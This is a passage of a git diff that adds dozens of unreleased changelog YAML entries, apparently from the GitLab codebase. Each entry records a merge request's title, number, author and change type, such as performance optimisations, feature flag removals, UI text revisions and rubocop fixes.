diff --git a/changelogs/unreleased/mjang-okr-issue-300594.yml b/changelogs/unreleased/mjang-okr-issue-300594.yml
new file mode 100644
index 00000000000..7a24d44e7a8
--- /dev/null
+++ b/changelogs/unreleased/mjang-okr-issue-300594.yml
@@ -0,0 +1,5 @@
+---
+title: Update Emails on push UI Text to match style guidelines
+merge_request: 58597
+author:
+type: other
diff --git a/changelogs/unreleased/mjang-okr-issue-300629.yml b/changelogs/unreleased/mjang-okr-issue-300629.yml
new file mode 100644
index 00000000000..0aacc168aad
--- /dev/null
+++ b/changelogs/unreleased/mjang-okr-issue-300629.yml
@@ -0,0 +1,5 @@
+---
+title: Updated Alert integration UI text to match style guidelines
+merge_request: 58507
+author:
+type: other
diff --git a/changelogs/unreleased/mk-add-index-for-project-deployments-with-environment-id-and-updated-at.yml b/changelogs/unreleased/mk-add-index-for-project-deployments-with-environment-id-and-updated-at.yml
new file mode 100644
index 00000000000..af1dbd1668d
--- /dev/null
+++ b/changelogs/unreleased/mk-add-index-for-project-deployments-with-environment-id-and-updated-at.yml
@@ -0,0 +1,5 @@
+---
+title: Add index to improve project deployments endpoint performance
+merge_request: 57554
+author:
+type: performance
diff --git a/changelogs/unreleased/mk-chaos-quit.yml b/changelogs/unreleased/mk-chaos-quit.yml
new file mode 100644
index 00000000000..3db35a10159
--- /dev/null
+++ b/changelogs/unreleased/mk-chaos-quit.yml
@@ -0,0 +1,5 @@
+---
+title: Add a chaos endpoint that signals QUIT
+merge_request: 58755
+author:
+type: changed
diff --git a/changelogs/unreleased/mk-speed-up-merge-request-creation-action.yml b/changelogs/unreleased/mk-speed-up-merge-request-creation-action.yml
new file mode 100644
index 00000000000..80cca000a3e
--- /dev/null
+++ b/changelogs/unreleased/mk-speed-up-merge-request-creation-action.yml
@@ -0,0 +1,6 @@
+---
+title: Perform more merge request creation tasks asynchronously to improve response
+ times
+merge_request: 57453
+author:
+type: performance
diff --git a/changelogs/unreleased/mk-verify-snippets.yml b/changelogs/unreleased/mk-verify-snippets.yml
new file mode 100644
index 00000000000..17354f4cdd0
--- /dev/null
+++ b/changelogs/unreleased/mk-verify-snippets.yml
@@ -0,0 +1,6 @@
+---
+title: 'Geo: Prepare snippet_repositories and snippet_repository_registry tables for
+ adding verification'
+merge_request: 56596
+author:
+type: added
diff --git a/changelogs/unreleased/mo-add-pipeline-artifact-geo-database.yml b/changelogs/unreleased/mo-add-pipeline-artifact-geo-database.yml
new file mode 100644
index 00000000000..2fd629aa3ad
--- /dev/null
+++ b/changelogs/unreleased/mo-add-pipeline-artifact-geo-database.yml
@@ -0,0 +1,5 @@
+---
+title: Add geo database changes for pipeline artifact replication
+merge_request: 57506
+author:
+type: added
diff --git a/changelogs/unreleased/mo-codeclimate-prefix.yml b/changelogs/unreleased/mo-codeclimate-prefix.yml
new file mode 100644
index 00000000000..caf27abeb95
--- /dev/null
+++ b/changelogs/unreleased/mo-codeclimate-prefix.yml
@@ -0,0 +1,5 @@
+---
+title: Add CODECLIMATE_PREFIX variable to code quality template
+merge_request: 59041
+author:
+type: added
diff --git a/changelogs/unreleased/mo-remove-codequality-backend-ff.yml b/changelogs/unreleased/mo-remove-codequality-backend-ff.yml
new file mode 100644
index 00000000000..eb28f6e8d73
--- /dev/null
+++ b/changelogs/unreleased/mo-remove-codequality-backend-ff.yml
@@ -0,0 +1,5 @@
+---
+title: Remove codequality_backend_comparison feature flag
+merge_request: 59320
+author:
+type: added
diff --git a/changelogs/unreleased/mobsf_version.yml b/changelogs/unreleased/mobsf_version.yml
new file mode 100644
index 00000000000..d26a3d6726d
--- /dev/null
+++ b/changelogs/unreleased/mobsf_version.yml
@@ -0,0 +1,5 @@
+---
+title: Update MobSF to version 3.4.0 in the SAST template
+merge_request: 58594
+author:
+type: changed
diff --git a/changelogs/unreleased/move-graphql-timelogs-to-ce.yml b/changelogs/unreleased/move-graphql-timelogs-to-ce.yml
new file mode 100644
index 00000000000..64f8d8c97fd
--- /dev/null
+++ b/changelogs/unreleased/move-graphql-timelogs-to-ce.yml
@@ -0,0 +1,5 @@
+---
+title: Move graphql timelogs to CE
+merge_request: 56633
+author: Lee Tickett @leetickett
+type: fixed
diff --git a/changelogs/unreleased/move-link-icon-to-css.yml b/changelogs/unreleased/move-link-icon-to-css.yml
new file mode 100644
index 00000000000..0454aaae571
--- /dev/null
+++ b/changelogs/unreleased/move-link-icon-to-css.yml
@@ -0,0 +1,5 @@
+---
+title: Move link icon to CSS
+merge_request: 56980
+author:
+type: performance
diff --git a/changelogs/unreleased/move_pipeline_creation_async.yml b/changelogs/unreleased/move_pipeline_creation_async.yml
new file mode 100644
index 00000000000..2017a518f29
--- /dev/null
+++ b/changelogs/unreleased/move_pipeline_creation_async.yml
@@ -0,0 +1,5 @@
+---
+title: Create the pipelines asynchronously when refreshing merge requests
+merge_request: 58542
+author:
+type: performance
diff --git a/changelogs/unreleased/mr-thread-comment-button.yml b/changelogs/unreleased/mr-thread-comment-button.yml
new file mode 100644
index 00000000000..3ef6f72ce0b
--- /dev/null
+++ b/changelogs/unreleased/mr-thread-comment-button.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate Start Review button on MRs to use confirm variant
+merge_request: 59523
+author:
+type: changed
diff --git a/changelogs/unreleased/mrincon-runner-detail-breadcrumb-fix.yml b/changelogs/unreleased/mrincon-runner-detail-breadcrumb-fix.yml
new file mode 100644
index 00000000000..a4a477abac3
--- /dev/null
+++ b/changelogs/unreleased/mrincon-runner-detail-breadcrumb-fix.yml
@@ -0,0 +1,5 @@
+---
+title: Add Runner ID as title in Runner details page
+merge_request: 57247
+author:
+type: changed
diff --git a/changelogs/unreleased/msj-redmine-integration.yml b/changelogs/unreleased/msj-redmine-integration.yml
new file mode 100644
index 00000000000..c53e1e34aa7
--- /dev/null
+++ b/changelogs/unreleased/msj-redmine-integration.yml
@@ -0,0 +1,5 @@
+---
+title: Review and revise Redmine Integration UI text
+merge_request: 58899
+author:
+type: other
diff --git a/changelogs/unreleased/msjr-no-issue-found-for-params.yml b/changelogs/unreleased/msjr-no-issue-found-for-params.yml
new file mode 100644
index 00000000000..df314f51411
--- /dev/null
+++ b/changelogs/unreleased/msjr-no-issue-found-for-params.yml
@@ -0,0 +1,5 @@
+---
+title: Resolve Improve text for error No issue found for given params in UI
+merge_request: 45064
+author:
+type: other
diff --git a/changelogs/unreleased/mwaw-301055-update-metrics-definitions-for-product-intelligence-group.yml b/changelogs/unreleased/mwaw-301055-update-metrics-definitions-for-product-intelligence-group.yml
new file mode 100644
index 00000000000..1e0527a4150
--- /dev/null
+++ b/changelogs/unreleased/mwaw-301055-update-metrics-definitions-for-product-intelligence-group.yml
@@ -0,0 +1,5 @@
+---
+title: Deprecate Product Intelligence test aggregated metrics
+merge_request: 57377
+author:
+type: deprecated
diff --git a/changelogs/unreleased/mwaw-323460-feature-flag-product_intelligence_metrics_names_suggestions-d.yml b/changelogs/unreleased/mwaw-323460-feature-flag-product_intelligence_metrics_names_suggestions-d.yml
new file mode 100644
index 00000000000..e3f58fc57b4
--- /dev/null
+++ b/changelogs/unreleased/mwaw-323460-feature-flag-product_intelligence_metrics_names_suggestions-d.yml
@@ -0,0 +1,5 @@
+---
+title: Rollout product_intelligence_metrics_names_suggestions feature flag
+merge_request: 58995
+author:
+type: added
diff --git a/changelogs/unreleased/new-epic-form-deprecated-button.yml b/changelogs/unreleased/new-epic-form-deprecated-button.yml
new file mode 100644
index 00000000000..66ee2105a79
--- /dev/null
+++ b/changelogs/unreleased/new-epic-form-deprecated-button.yml
@@ -0,0 +1,5 @@
+---
+title: Replace deprecated button on new epic creation form
+merge_request: 57874
+author:
+type: changed
diff --git a/changelogs/unreleased/nfriend-add-release-asset-link-delete-mutation.yml b/changelogs/unreleased/nfriend-add-release-asset-link-delete-mutation.yml
new file mode 100644
index 00000000000..3b39bb351c3
--- /dev/null
+++ b/changelogs/unreleased/nfriend-add-release-asset-link-delete-mutation.yml
@@ -0,0 +1,5 @@
+---
+title: Add GraphQL mutation to delete an existing release asset link
+merge_request: 56417
+author:
+type: added
diff --git a/changelogs/unreleased/nfriend-reorganize-release-detail-page-store.yml b/changelogs/unreleased/nfriend-reorganize-release-detail-page-store.yml
new file mode 100644
index 00000000000..0b3fc4ccf1e
--- /dev/null
+++ b/changelogs/unreleased/nfriend-reorganize-release-detail-page-store.yml
@@ -0,0 +1,5 @@
+---
+title: Remove graphql_individual_release_page feature flag
+merge_request: 56882
+author:
+type: removed
diff --git a/changelogs/unreleased/nicolasdular-apply-ci-template-via-param.yml b/changelogs/unreleased/nicolasdular-apply-ci-template-via-param.yml
new file mode 100644
index 00000000000..72d4384b323
--- /dev/null
+++ b/changelogs/unreleased/nicolasdular-apply-ci-template-via-param.yml
@@ -0,0 +1,5 @@
+---
+title: Allow selecting a CI template by providing the template name as a URL param gitlab_ci_yml
+merge_request: 56861
+author:
+type: added
diff --git a/changelogs/unreleased/nicolasdular-cleanup-signup-onboarding-ff.yml b/changelogs/unreleased/nicolasdular-cleanup-signup-onboarding-ff.yml
new file mode 100644
index 00000000000..71a65258ff5
--- /dev/null
+++ b/changelogs/unreleased/nicolasdular-cleanup-signup-onboarding-ff.yml
@@ -0,0 +1,5 @@
+---
+title: Let users create groups and projects at signup and onboard them through issues on gitlab.com
+merge_request: 58301
+author:
+type: added
diff --git a/changelogs/unreleased/nicolasdular-hello-world-ci-template.yml b/changelogs/unreleased/nicolasdular-hello-world-ci-template.yml
new file mode 100644
index 00000000000..6a621f0b861
--- /dev/null
+++ b/changelogs/unreleased/nicolasdular-hello-world-ci-template.yml
@@ -0,0 +1,5 @@
+---
+title: Add Hello World CI Template
+merge_request: 58649
+author:
+type: added
diff --git a/changelogs/unreleased/nicolasdular-hide-pipelines-filter-on-empty-state.yml b/changelogs/unreleased/nicolasdular-hide-pipelines-filter-on-empty-state.yml
new file mode 100644
index 00000000000..3aab502850b
--- /dev/null
+++ b/changelogs/unreleased/nicolasdular-hide-pipelines-filter-on-empty-state.yml
@@ -0,0 +1,5 @@
+---
+title: Hide pipeline filtered search when no pipeline exists
+merge_request: 57881
+author:
+type: changed
diff --git a/changelogs/unreleased/nicolasdular-in-product-emails-only-for-free.yml b/changelogs/unreleased/nicolasdular-in-product-emails-only-for-free.yml
new file mode 100644
index 00000000000..0bd1e9a4f52
--- /dev/null
+++ b/changelogs/unreleased/nicolasdular-in-product-emails-only-for-free.yml
@@ -0,0 +1,5 @@
+---
+title: Enable in-product emails only for free instances
+merge_request: 59290
+author:
+type: changed
diff --git a/changelogs/unreleased/nicolasdular-record-product-email-campaign-emails.yml b/changelogs/unreleased/nicolasdular-record-product-email-campaign-emails.yml
new file mode 100644
index 00000000000..a5b771dc596
--- /dev/null
+++ b/changelogs/unreleased/nicolasdular-record-product-email-campaign-emails.yml
@@ -0,0 +1,5 @@
+---
+title: Record sent in-product marketing emails and don't send the same email twice
+merge_request: 55840
+author:
+type: changed
diff --git a/changelogs/unreleased/nicolasdular-welcome-page-text-change.yml b/changelogs/unreleased/nicolasdular-welcome-page-text-change.yml
new file mode 100644
index 00000000000..ed3fbd335cc
--- /dev/null
+++ b/changelogs/unreleased/nicolasdular-welcome-page-text-change.yml
@@ -0,0 +1,5 @@
+---
+title: Clarify on welcome page that we do not share any data
+merge_request: 59183
+author:
+type: changed
diff --git a/changelogs/unreleased/notes_quick_action_feedback.yml b/changelogs/unreleased/notes_quick_action_feedback.yml
new file mode 100644
index 00000000000..4e7700b84c4
--- /dev/null
+++ b/changelogs/unreleased/notes_quick_action_feedback.yml
@@ -0,0 +1,5 @@
+---
+title: Give better feedback when quick actions have no effect
+merge_request: 57570
+author: Hilco van der Wilk
+type: fixed
diff --git a/changelogs/unreleased/ntepluhina-assignees-feature-flag.yml b/changelogs/unreleased/ntepluhina-assignees-feature-flag.yml
new file mode 100644
index 00000000000..756d942d494
--- /dev/null
+++ b/changelogs/unreleased/ntepluhina-assignees-feature-flag.yml
@@ -0,0 +1,5 @@
+---
+title: Added feature flag to show/hide assignees GraphQL widget
+merge_request: 59620
+author:
+type: fixed
diff --git a/changelogs/unreleased/optimise_previous_environment_deployment.yml b/changelogs/unreleased/optimise_previous_environment_deployment.yml
new file mode 100644
index 00000000000..ee4baafb5b6
--- /dev/null
+++ b/changelogs/unreleased/optimise_previous_environment_deployment.yml
@@ -0,0 +1,5 @@
+---
+title: Optimise query for Deployment#previous_environment_deployment in LinkMergeRequestWorker
+merge_request: 57039
+author:
+type: performance
diff --git a/changelogs/unreleased/optimize-environments-serializer.yml b/changelogs/unreleased/optimize-environments-serializer.yml
new file mode 100644
index 00000000000..89996a0a02e
--- /dev/null
+++ b/changelogs/unreleased/optimize-environments-serializer.yml
@@ -0,0 +1,5 @@
+---
+title: Optimize environment serializer to reduce N+1 problems
+merge_request: 58748
+author:
+type: performance
diff --git a/changelogs/unreleased/optimize-link-merge-request-worker.yml b/changelogs/unreleased/optimize-link-merge-request-worker.yml
new file mode 100644
index 00000000000..dd4fa5b8c3d
--- /dev/null
+++ b/changelogs/unreleased/optimize-link-merge-request-worker.yml
@@ -0,0 +1,5 @@
+---
+title: Optimize searching cherry-picked merge requests for linking deployments
+merge_request: 58568
+author:
+type: performance
diff --git a/changelogs/unreleased/optimize-query-for-cherry-picked-merge-requests.yml b/changelogs/unreleased/optimize-query-for-cherry-picked-merge-requests.yml
new file mode 100644
index 00000000000..a9921a886f6
--- /dev/null
+++ b/changelogs/unreleased/optimize-query-for-cherry-picked-merge-requests.yml
@@ -0,0 +1,5 @@
+---
+title: Optimize query for cherry picked merge requests
+merge_request: 58967
+author:
+type: performance
diff --git a/changelogs/unreleased/optimize-query-for-last-deployment.yml b/changelogs/unreleased/optimize-query-for-last-deployment.yml
new file mode 100644
index 00000000000..8b549b7da4b
--- /dev/null
+++ b/changelogs/unreleased/optimize-query-for-last-deployment.yml
@@ -0,0 +1,5 @@
+---
+title: Optimize database query for last deployment
+merge_request: 57979
+author:
+type: performance
diff --git a/changelogs/unreleased/pb-add-fields-to-job-type.yml b/changelogs/unreleased/pb-add-fields-to-job-type.yml
new file mode 100644
index 00000000000..12436eb49aa
--- /dev/null
+++ b/changelogs/unreleased/pb-add-fields-to-job-type.yml
@@ -0,0 +1,5 @@
+---
+title: Add more fields to the job type
+merge_request: 57530
+author:
+type: added
diff --git a/changelogs/unreleased/pb-add-jobs-field-to-project-type.yml b/changelogs/unreleased/pb-add-jobs-field-to-project-type.yml
new file mode 100644
index 00000000000..e6c1ad48059
--- /dev/null
+++ b/changelogs/unreleased/pb-add-jobs-field-to-project-type.yml
@@ -0,0 +1,5 @@
+---
+title: Add jobs field to the project type
+merge_request: 57376
+author:
+type: added
diff --git a/changelogs/unreleased/pb-bg-color.yml b/changelogs/unreleased/pb-bg-color.yml
new file mode 100644
index 00000000000..207942d0736
--- /dev/null
+++ b/changelogs/unreleased/pb-bg-color.yml
@@ -0,0 +1,4 @@
+title: Update performance bar background color to use Pajamas compliant colour palette
+merge_request: 52775
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/pb-disable-trigger-manual-action.yml b/changelogs/unreleased/pb-disable-trigger-manual-action.yml
new file mode 100644
index 00000000000..fb95dda117d
--- /dev/null
+++ b/changelogs/unreleased/pb-disable-trigger-manual-action.yml
@@ -0,0 +1,5 @@
+---
+title: Disable trigger manual job button after click
+merge_request: 57885
+author:
+type: fixed
diff --git a/changelogs/unreleased/pb-fix-broken-admin-variables.yml b/changelogs/unreleased/pb-fix-broken-admin-variables.yml
new file mode 100644
index 00000000000..a1a39252779
--- /dev/null
+++ b/changelogs/unreleased/pb-fix-broken-admin-variables.yml
@@ -0,0 +1,5 @@
+---
+title: Fixes admin ci variables not showing up
+merge_request: 58496
+author:
+type: fixed
diff --git a/changelogs/unreleased/pb-fix-duration-for-skipped-pipeline.yml b/changelogs/unreleased/pb-fix-duration-for-skipped-pipeline.yml
new file mode 100644
index 00000000000..d155a0c4905
--- /dev/null
+++ b/changelogs/unreleased/pb-fix-duration-for-skipped-pipeline.yml
@@ -0,0 +1,5 @@
+---
+title: Show skipped duration state for all skipped pipelines
+merge_request: 57242
+author:
+type: changed
diff --git a/changelogs/unreleased/pb-fix-has-artifacts-computed-prop.yml b/changelogs/unreleased/pb-fix-has-artifacts-computed-prop.yml
new file mode 100644
index 00000000000..34749d57c94
--- /dev/null
+++ b/changelogs/unreleased/pb-fix-has-artifacts-computed-prop.yml
@@ -0,0 +1,5 @@
+---
+title: Fix artifacts section from showing up when no artifacts are present
+merge_request: 56784
+author:
+type: fixed
diff --git a/changelogs/unreleased/pb-fix-in-progress-for-single-stage-manual-pipelines.yml b/changelogs/unreleased/pb-fix-in-progress-for-single-stage-manual-pipelines.yml
new file mode 100644
index 00000000000..6cac63370df
--- /dev/null
+++ b/changelogs/unreleased/pb-fix-in-progress-for-single-stage-manual-pipelines.yml
@@ -0,0 +1,5 @@
+---
+title: Adds skipped state to duration cell for single stage manual pipelines
+merge_request: 56669
+author:
+type: changed
diff --git a/changelogs/unreleased/pb-flip-on-new-pipelines-table-ff.yml b/changelogs/unreleased/pb-flip-on-new-pipelines-table-ff.yml
new file mode 100644
index 00000000000..6759962cd59
--- /dev/null
+++ b/changelogs/unreleased/pb-flip-on-new-pipelines-table-ff.yml
@@ -0,0 +1,5 @@
+---
+title: Use GlTable design system component for pipelines table
+merge_request: 58581
+author:
+type: changed
diff --git a/changelogs/unreleased/pb-popover-improvement.yml b/changelogs/unreleased/pb-popover-improvement.yml
new file mode 100644
index 00000000000..572bcd38ac5
--- /dev/null
+++ b/changelogs/unreleased/pb-popover-improvement.yml
@@ -0,0 +1,5 @@
+---
+title: Update popover placement and cursor on warning icon in PB
+merge_request: 58552
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/pb-remove-jobs-page-ci-lint-button.yml b/changelogs/unreleased/pb-remove-jobs-page-ci-lint-button.yml
new file mode 100644
index 00000000000..42b0e909150
--- /dev/null
+++ b/changelogs/unreleased/pb-remove-jobs-page-ci-lint-button.yml
@@ -0,0 +1,5 @@
+---
+title: Remove CI lint button from Jobs page nav
+merge_request: 56854
+author:
+type: removed
diff --git a/changelogs/unreleased/pb-stuck-job-in-progress-ux.yml b/changelogs/unreleased/pb-stuck-job-in-progress-ux.yml
new file mode 100644
index 00000000000..42e80c46eec
--- /dev/null
+++ b/changelogs/unreleased/pb-stuck-job-in-progress-ux.yml
@@ -0,0 +1,5 @@
+---
+title: Add warning icon beside in progress text if pipeline is stuck
+merge_request: 58427
+author:
+type: changed
diff --git a/changelogs/unreleased/pb-ux-ci-cd-toggle-setting.yml b/changelogs/unreleased/pb-ux-ci-cd-toggle-setting.yml
new file mode 100644
index 00000000000..1c283abced7
--- /dev/null
+++ b/changelogs/unreleased/pb-ux-ci-cd-toggle-setting.yml
@@ -0,0 +1,5 @@
+---
+title: Rename pipelines setting to CI/CD and move out from under repository section
+merge_request: 56857
+author:
+type: changed
diff --git a/changelogs/unreleased/pedropombeiro-variable_inside_variable.yml b/changelogs/unreleased/pedropombeiro-variable_inside_variable.yml
new file mode 100644
index 00000000000..c06f43f86b0
--- /dev/null
+++ b/changelogs/unreleased/pedropombeiro-variable_inside_variable.yml
@@ -0,0 +1,5 @@
+---
+title: Resolve nested variable values sent to the runner
+merge_request: 48627
+author:
+type: added
diff --git a/changelogs/unreleased/peter-kovar-gitlab-324635-c---icon-fix.yml b/changelogs/unreleased/peter-kovar-gitlab-324635-c---icon-fix.yml
new file mode 100644
index 00000000000..203658af7ce
--- /dev/null
+++ b/changelogs/unreleased/peter-kovar-gitlab-324635-c---icon-fix.yml
@@ -0,0 +1,5 @@
+---
+title: Add missing icon for files with .c++ extension
+merge_request: 56650
+author: Peter Kovář @peter.kovar
+type: added
diff --git a/changelogs/unreleased/ph-232339-codeSuggestionsMultiLineComment.yml b/changelogs/unreleased/ph-232339-codeSuggestionsMultiLineComment.yml
new file mode 100644
index 00000000000..0ee349d28a9
--- /dev/null
+++ b/changelogs/unreleased/ph-232339-codeSuggestionsMultiLineComment.yml
@@ -0,0 +1,5 @@
+---
+title: Code suggestions correctly add based on multi-line comments
+merge_request: 57125
+author:
+type: added
diff --git a/changelogs/unreleased/ph-296784-createMRButtonLoadingIcon.yml b/changelogs/unreleased/ph-296784-createMRButtonLoadingIcon.yml
new file mode 100644
index 00000000000..85346b6bc3a
--- /dev/null
+++ b/changelogs/unreleased/ph-296784-createMRButtonLoadingIcon.yml
@@ -0,0 +1,5 @@
+---
+title: Add loading icon to create merge request button
+merge_request: 57105
+author:
+type: changed
diff --git a/changelogs/unreleased/ph-325276-fixCommitCommentDropdownStyling.yml b/changelogs/unreleased/ph-325276-fixCommitCommentDropdownStyling.yml
new file mode 100644
index 00000000000..eafbca3c994
--- /dev/null
+++ b/changelogs/unreleased/ph-325276-fixCommitCommentDropdownStyling.yml
@@ -0,0 +1,5 @@
+---
+title: Fixed styling of commit comment buttons
+merge_request: 56982
+author:
+type: fixed
diff --git a/changelogs/unreleased/ph-todosProjectGroupDropdownApiCall.yml b/changelogs/unreleased/ph-todosProjectGroupDropdownApiCall.yml
new file mode 100644
index 00000000000..7c94af3e8a2
--- /dev/null
+++ b/changelogs/unreleased/ph-todosProjectGroupDropdownApiCall.yml
@@ -0,0 +1,5 @@
+---
+title: Move fetching projects and groups on todos page to API call
+merge_request: 56507
+author:
+type: performance
diff --git a/changelogs/unreleased/philipcunningham-add-backend-for-specifying-target-type-for-on-demand-294.yml b/changelogs/unreleased/philipcunningham-add-backend-for-specifying-target-type-for-on-demand-294.yml
new file mode 100644
index 00000000000..485a475a249
--- /dev/null
+++ b/changelogs/unreleased/philipcunningham-add-backend-for-specifying-target-type-for-on-demand-294.yml
@@ -0,0 +1,5 @@
+---
+title: Add target_type column to dast_site_profiles database table
+merge_request: 58723
+author:
+type: added
diff --git a/changelogs/unreleased/philipcunningham-add-ci-secrets-225406.yml b/changelogs/unreleased/philipcunningham-add-ci-secrets-225406.yml
new file mode 100644
index 00000000000..92dd0e9732a
--- /dev/null
+++ b/changelogs/unreleased/philipcunningham-add-ci-secrets-225406.yml
@@ -0,0 +1,5 @@
+---
+title: Add dast_profile_secret_variables table
+merge_request: 56067
+author:
+type: added
diff --git a/changelogs/unreleased/philipcunningham-add-excluded-urls-and-request-headers-to-dast-profiles-2.yml b/changelogs/unreleased/philipcunningham-add-excluded-urls-and-request-headers-to-dast-profiles-2.yml
new file mode 100644
index 00000000000..25c990642ae
--- /dev/null
+++ b/changelogs/unreleased/philipcunningham-add-excluded-urls-and-request-headers-to-dast-profiles-2.yml
@@ -0,0 +1,5 @@
+---
+title: Add additional fields to dast_site_profiles database table
+merge_request: 55579
+author:
+type: added
diff --git a/changelogs/unreleased/philipcunningham-delivery-dast-site-profile-secret-variable-225406.yml b/changelogs/unreleased/philipcunningham-delivery-dast-site-profile-secret-variable-225406.yml
new file mode 100644
index 00000000000..7172da5c9e1
--- /dev/null
+++ b/changelogs/unreleased/philipcunningham-delivery-dast-site-profile-secret-variable-225406.yml
@@ -0,0 +1,5 @@
+---
+title: Create database table dast_profiles_pipelines
+merge_request: 56821
+author:
+type: added
diff --git a/changelogs/unreleased/pks-git-minimum-v2-31-0.yml b/changelogs/unreleased/pks-git-minimum-v2-31-0.yml
new file mode 100644
index 00000000000..c44ad169992
--- /dev/null
+++ b/changelogs/unreleased/pks-git-minimum-v2-31-0.yml
@@ -0,0 +1,5 @@
+---
+title: Bump minimum git version to v2.31.0
+merge_request: 58737
+author:
+type: changed
diff --git a/changelogs/unreleased/pks-lfs-quarantine.yml b/changelogs/unreleased/pks-lfs-quarantine.yml
new file mode 100644
index 00000000000..19821eda678
--- /dev/null
+++ b/changelogs/unreleased/pks-lfs-quarantine.yml
@@ -0,0 +1,5 @@
+---
+title: Use object quarantine directory to enumerate new LFS pointers
+merge_request: 58634
+author:
+type: performance
diff --git a/changelogs/unreleased/pks-workhorse-go-1-16.yml b/changelogs/unreleased/pks-workhorse-go-1-16.yml
new file mode 100644
index 00000000000..8404dd721b1
--- /dev/null
+++ b/changelogs/unreleased/pks-workhorse-go-1-16.yml
@@ -0,0 +1,5 @@
+---
+title: Bump minimum required Go version for workhorse to 1.15
+merge_request: 59347
+author:
+type: other
diff --git a/changelogs/unreleased/pl-rubocop-style-hashtransformation-app-directory.yml b/changelogs/unreleased/pl-rubocop-style-hashtransformation-app-directory.yml
new file mode 100644
index 00000000000..5d60e418af9
--- /dev/null
+++ b/changelogs/unreleased/pl-rubocop-style-hashtransformation-app-directory.yml
@@ -0,0 +1,5 @@
+---
+title: Fix cop offenses for Style/HashTransformation in app directory
+merge_request: 56579
+author: Karthik Sivadas @karthik.sivadas
+type: other
diff --git a/changelogs/unreleased/pl-rubocop-style-hashtransformation-ee-directory.yml b/changelogs/unreleased/pl-rubocop-style-hashtransformation-ee-directory.yml
new file mode 100644
index 00000000000..bb10b5d9703
--- /dev/null
+++ b/changelogs/unreleased/pl-rubocop-style-hashtransformation-ee-directory.yml
@@ -0,0 +1,5 @@
+---
+title: Fix cop offenses for Style/HashTransformation in ee directory
+merge_request: 56581
+author: Karthik Sivadas @karthik.sivadas
+type: other
diff --git a/changelogs/unreleased/pl-rubocop-style-hashtransformation-lib-directory.yml b/changelogs/unreleased/pl-rubocop-style-hashtransformation-lib-directory.yml
new file mode 100644
index 00000000000..e2ee3eade14
--- /dev/null
+++ b/changelogs/unreleased/pl-rubocop-style-hashtransformation-lib-directory.yml
@@ -0,0 +1,5 @@
+---
+title: Fix cop offenses for Style/HashTransformation in lib directory
+merge_request: 56583
+author: Karthik Sivadas @karthik.sivadas
+type: other
diff --git a/changelogs/unreleased/pl-rubocop-style-hashtransformation-spec-directory.yml b/changelogs/unreleased/pl-rubocop-style-hashtransformation-spec-directory.yml
new file mode 100644
index 00000000000..fa96b475216
--- /dev/null
+++ b/changelogs/unreleased/pl-rubocop-style-hashtransformation-spec-directory.yml
@@ -0,0 +1,5 @@
+---
+title: Fix cop offenses for Style/HashTransformation in spec directory
+merge_request: 56586
+author: Karthik Sivadas @karthik.sivadas
+type: other
diff --git a/changelogs/unreleased/pl-rubocop-todo-begin-end-alignment.yml b/changelogs/unreleased/pl-rubocop-todo-begin-end-alignment.yml
new file mode 100644
index 00000000000..7c7ae3fb0ca
--- /dev/null
+++ b/changelogs/unreleased/pl-rubocop-todo-begin-end-alignment.yml
@@ -0,0 +1,5 @@
+---
+title: Fixed offenses Layout/BeginEndAlignment
+merge_request: 56827
+author: Shubham Kumar (@imskr)
+type: fixed
diff --git a/changelogs/unreleased/pl-rubocop-todo-department-name.yml b/changelogs/unreleased/pl-rubocop-todo-department-name.yml
new file mode 100644
index 00000000000..ec65e654e7c
--- /dev/null
+++ b/changelogs/unreleased/pl-rubocop-todo-department-name.yml
@@ -0,0 +1,5 @@
+---
+title: Fixes rubocop offense Migration/DepartmentName
+merge_request: 56997
+author: Shubham Kumar (@imskr)
+type: fixed
diff --git a/changelogs/unreleased/pl-rubocop-todo-parallel-assignment.yml b/changelogs/unreleased/pl-rubocop-todo-parallel-assignment.yml
new file mode 100644
index 00000000000..422fc720079
--- /dev/null
+++ b/changelogs/unreleased/pl-rubocop-todo-parallel-assignment.yml
@@ -0,0 +1,5 @@
+---
+title: Resolves offenses Style/ParallelAssignment
+merge_request: 57999
+author: Shubham Kumar (@imskr)
+type: fixed
diff --git a/changelogs/unreleased/pl-rubocop-todo-redundant-assignment.yml b/changelogs/unreleased/pl-rubocop-todo-redundant-assignment.yml
new file mode 100644
index 00000000000..6bd48a33722
--- /dev/null
+++ b/changelogs/unreleased/pl-rubocop-todo-redundant-assignment.yml
@@ -0,0 +1,5 @@
+---
+title: Resolves offenses Style/RedundantAssignment
+merge_request: 58013
+author: Shubham Kumar (@imskr)
+type: fixed
diff --git a/changelogs/unreleased/pl-rubocop-todo-redundant-safe-navigation.yml b/changelogs/unreleased/pl-rubocop-todo-redundant-safe-navigation.yml
new file mode 100644
index 00000000000..7d5831756c7
--- /dev/null
+++ b/changelogs/unreleased/pl-rubocop-todo-redundant-safe-navigation.yml
@@ -0,0 +1,5 @@
+---
+title: Fixes offense Lint/RedundantSafeNavigation
+merge_request: 56884
+author: Shubham Kumar (@imskr)
+type: fixed
diff --git a/changelogs/unreleased/pl-rubocop-todo-redundant-self-assignment.yml b/changelogs/unreleased/pl-rubocop-todo-redundant-self-assignment.yml
new file mode 100644
index 00000000000..ad20006b98f
--- /dev/null
+++ b/changelogs/unreleased/pl-rubocop-todo-redundant-self-assignment.yml
@@ -0,0 +1,5 @@
+---
+title: Fixes rubocop offenses Style/RedundantSelfAssignment
+merge_request: 57920
+author: Shubham Kumar (@imskr)
+type: fixed
diff --git a/changelogs/unreleased/pl-rubocop-todo-rescue-ensure-alignment.yml b/changelogs/unreleased/pl-rubocop-todo-rescue-ensure-alignment.yml
new file mode 100644
index 00000000000..b0156943c0a
--- /dev/null
+++ b/changelogs/unreleased/pl-rubocop-todo-rescue-ensure-alignment.yml
@@ -0,0 +1,5 @@
+---
+title: Fix offense Layout/RescueEnsureAlignment
+merge_request: 56870
+author: Shubham Kumar (@imskr)
+type: fixed
diff --git a/changelogs/unreleased/pl-rubocop-todo-where-not.yml b/changelogs/unreleased/pl-rubocop-todo-where-not.yml
new file mode 100644
index 00000000000..da8c041ec10
--- /dev/null
+++ b/changelogs/unreleased/pl-rubocop-todo-where-not.yml
@@ -0,0 +1,5 @@
+---
+title: Resolves rubocop offenses Rails/WhereNot
+merge_request: 58062
+author: Shubham Kumar (@imskr)
+type: fixed
diff --git a/changelogs/unreleased/plan-metrics-definitions.yml b/changelogs/unreleased/plan-metrics-definitions.yml
new file mode 100644
index 00000000000..4ce309ed2d2
